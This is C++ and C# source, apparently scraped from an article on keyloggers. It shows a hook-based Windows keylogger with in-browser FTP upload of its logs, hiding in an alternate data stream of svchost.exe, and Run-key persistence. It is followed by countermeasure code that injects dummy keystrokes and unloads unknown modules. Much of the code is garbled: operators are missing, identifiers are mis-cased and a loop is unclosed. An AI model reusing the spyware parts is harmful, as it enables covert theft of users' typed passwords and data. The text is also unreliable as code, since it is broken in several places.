///////////////////////////////////////////////////////////////////
// FUNCTION: WndPRoc(HWND, unsigned, Word, LONG)
// 目的:处理主窗口中的消息
// MSG_MY_WM_KEYDOWN - 处理应用程序键击
// MSG_MY_WM_SETFOCUS - 处理应用程序键击
// MSG_WM_UPLOAD_FILE - 处理一个FTP模块通知
// WM_DESTROY - 寄送一个退出消息并返回
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
if (message == MSG_MY_WM_KEYDOWN)
return OnInterceptKeyStroke(wParam, lParam);
if (message == MSG_MY_WM_SETFOCUS)
return OnSetKeyboardFocus(wParam, lParam);
if (message == MSG_WM_UPLOAD_FILE)
return OnFileUploaded(wParam, lParam);
switch (message)
{
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)
{
//假如我们在登录一个新的应用程序,应该打印一个适当的头
if (g_hWinInFocus != g_hLastWin)
{
WriteNewAppHeader(g_hWinInFocus);
g_hLastWin = g_hWinInFocus;
}
if (wParam==VK_RETURN wParam==VK_TAB)
{
WriteToLog(’/n’);
}
else
{
BYTE keyStateArr[256];
WORD word;
UINT scanCode = lParam;
char ch;
//把虚拟键代码转换成ascii码
GetKeyboardState(keyStateArr);
ToAscii(wParam, scanCode, keyStateArr, &word, 0);
ch = (char) word;
if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’)
ch += ’A’-’a’;
WriteToLog(ch);
}
return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)
{
g_hWinInFocus = (HWND)wParam;
return S_OK;
}
///////////////////////////////////////////////////////////////////
LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)
{
//记录上载成功
if (wParam)
{
DeleteFile(g_sSpyLogFileName2);
}
else
{
char temp[255];
FILE* f1=fopen(g_sSpyLogFileName,"rt");
FILE* f2=fopen(g_sSpyLogFileName2,"at");
while (!feof(f1))
{
if (fgets(temp, 255, f1))
{
fputs(temp, f2);
}
}
fclose(f1);
fclose(f2);
MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
}
g_isUploading = false;
return S_OK;
}
///////////////////////////////////////////////////////////////////
//共享的内存
#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")
///////////////////////////////////////////////////////////////////
void CALLBACK SetSpyHwnd (DWORD hwnd)
{
g_hSpyWin = (HWND) hwnd;
}
///////////////////////////////////////////////////////////////////
LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{
if (nCode == HCBT_KEYSKipPED && (lParam & 0x40000000))
{
if ((wParam==VK_SPACE)(wParam==VK_RETURN)(wParam==VK_TAB) (wParam>=0x2f ) &&(wParam<=0x100))
{
::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
}
}
else if (nCode == HCBT_SETFOCUS)
{
::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);
if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
{
HINSTANCE hFtpDll;
Init InitFunc;
if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
{
if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
{
(InitFunc)((DWORD)g_hSpyWin);
}
}
bInjectFtpDll = false;
}
}
return CallNextHookEx( 0, nCode, wParam, lParam);
}
typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam,
LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);
HMODULE g_hHookDll = NULL;
HHOOK g_hHook = NULL;
bool InstallHook(HWND hwnd)
{
SetSpyHwnd SetHwndFunc;
HookProc HookProcFunc;
if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
{
if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd"))
{
//把主模块的HWND存储在共享存储区段
(SetHwndFunc)((DWORD)hwnd);
if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc"))
{
if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0))
return true;
}
}
}
return false;
}
Inject spy.exe to svchost.exe
"type spy.exe > c:/windows/system32/svchost.exe:spy.exe"
Run spy.exe
"start svchost.exe:spy.exe"
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char processName[255];
GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) );
strcpy(processName, _strlwr(processName));
if (strstr(processName, "iexplore.exe") strstr(processName, "firefox.exe"))
bInjectFtpDll = true;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run.
void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags)
{
if (nChar == VK_SHIFT nChar == VK_CONTROL nChar == VK_MENU)
return;
if (nChar == VK_DELETE nChar == VK_BACK)
{
SetWindowText("");
m_sRealText = "";
return;
}
if (m_state == 0)
{
m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
m_state = 1;
CString text;
GetWindowText(text);
m_sRealText += text.Right(1);
}
else
{
if (m_state++ >= m_iDummyKeyStrokesCount)
m_state = 0;
}
CEdit::OnKeyUp(nChar, nRepCnt, nFlags);
}
///////////////////////////////////////////////////////////////////
CString CSafeEdit::GetRealText()
{
return m_sRealText;
}
///////////////////////////////////////////////////////////////////
int CSafeEdit::SendDummyKeyStrokes()
{
srand((unsigned)::GetTickCount());
int iKeyStrokeCount = rand() % 5 + 1;
int key;
INPUT inp[2];
inp[0].type = INPUT_KEYBOARD;
inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();
inp[0].ki.dwFlags = 0;
inp[0].ki.time = 0;
for (int i=0; i < iKeyStrokeCount; i++)
{
key = rand() % (’Z’-’A’) + ’A’;
inp[0].ki.wScan = key;
inp[0].ki.wVk = key;
inp[1] = inp[0];
inp[1].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(2, inp, sizeof(INPUT));
}
return iKeyStrokeCount;
}
public strUCt KEYDBINPUT
{
public Int16 wVk;
public Int16 wScan;
public Int32 dwFlags;
public Int32 time;
public Int32 dwExtraInfo;
public Int32 __filler1;
public Int32 __filler2;
}
public struct INPUT
{
public Int32 type;
public KEYDBINPUT ki;
}
[DllImport("user32")] public static extern int
SendInput( int cInputs, ref INPUT pInputs, int cbSize );
protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
if (e.KeyData == Keys.ShiftKey e.KeyData == Keys.ControlKey e.KeyData == Keys.Alt)
return;
if (e.KeyData == Keys.Delete e.KeyData == Keys.Back)
{
Text = "";
m_sRealText = "";
return;
}
if (m_state == 0)
{
m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
m_state = 1;
m_sRealText += Text[Text.Length-1];
}
else
{
if (m_state++ >= m_iDummyKeyStrokesCount)
m_state = 0;
}
}
public int SendDummyKeyStrokes()
{
short key;
Random rand = new Random();
int iKeyStrokeCount = rand.Next(1, 6);
INPUT inputDown = new INPUT();
inputDown.type = INPUT_KEYBOARD;
inputDown.ki.dwFlags = 0;
INPUT inputUp = new INPUT();
inputUp.type = INPUT_KEYBOARD;
inputUp.ki.dwFlags = KEYEVENTF_KEYUP;
for (int i=0; i < iKeyStrokeCount; i++)
{
key = (short) rand.Next(’A’, ’Z’);
inputDown.ki.wVk = key;
SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );
inputUp.ki.wVk = key;
SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );
}
return iKeyStrokeCount;
}
VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg,
unsigned int idEvent, DWORD dwTime)
{
m_SpyRemover->EnumModules();
}
//////////////////////////////////////////////////////////////////
SpyRemover::SpyRemover(char* szAuthorizedList)
{
m_SpyRemover = this;
m_szAuthorizedList = " ";
m_szAuthorizedList += szAuthorizedList;
m_szAuthorizedList += " ";
m_szAuthorizedList.MakeLower();
::SetTimer(NULL, 0, 500, TimerProc);
}
///////////////////////////////////////////////////////////////////
void SpyRemover::EnumModules()
{
DWORD dwPID = ::GetCurrentProcessId();
HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;
//取得当前进程所有模块的一个快照
hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID );
if( hModuleSnap == INVALID_HANDLE_VALUE )
return;
me32.dwSize = sizeof( MODULEENTRY32 );
//检索关于第一个模块(application.exe)的信息
if( !Module32First( hModuleSnap, &me32 ) )
{
CloseHandle( hModuleSnap );
return;
}
//遍历当前进程的模块列表
do
{
if (!IsModuleAuthorized(me32.szModule))
{
HMODULE hmodule = me32.hModule;
CloseHandle(hModuleSnap);
FreeLibrary(hmodule);
return;
} while( Module32Next( hModuleSnap, &me32 ) );
CloseHandle(hModuleSnap);
}
///////////////////////////////////////////////////////////////////
bool SpyRemover::IsModuleAuthorized(char* szModuleName)
{
char szModule[1024];
sprintf(szModule, " %s ", szModuleName);
strcpy(szModule, _strlwr(szModule));
if (strstr(m_szAuthorizedList, szModule))
return true;
else
return false;
}
新闻热点
疑难解答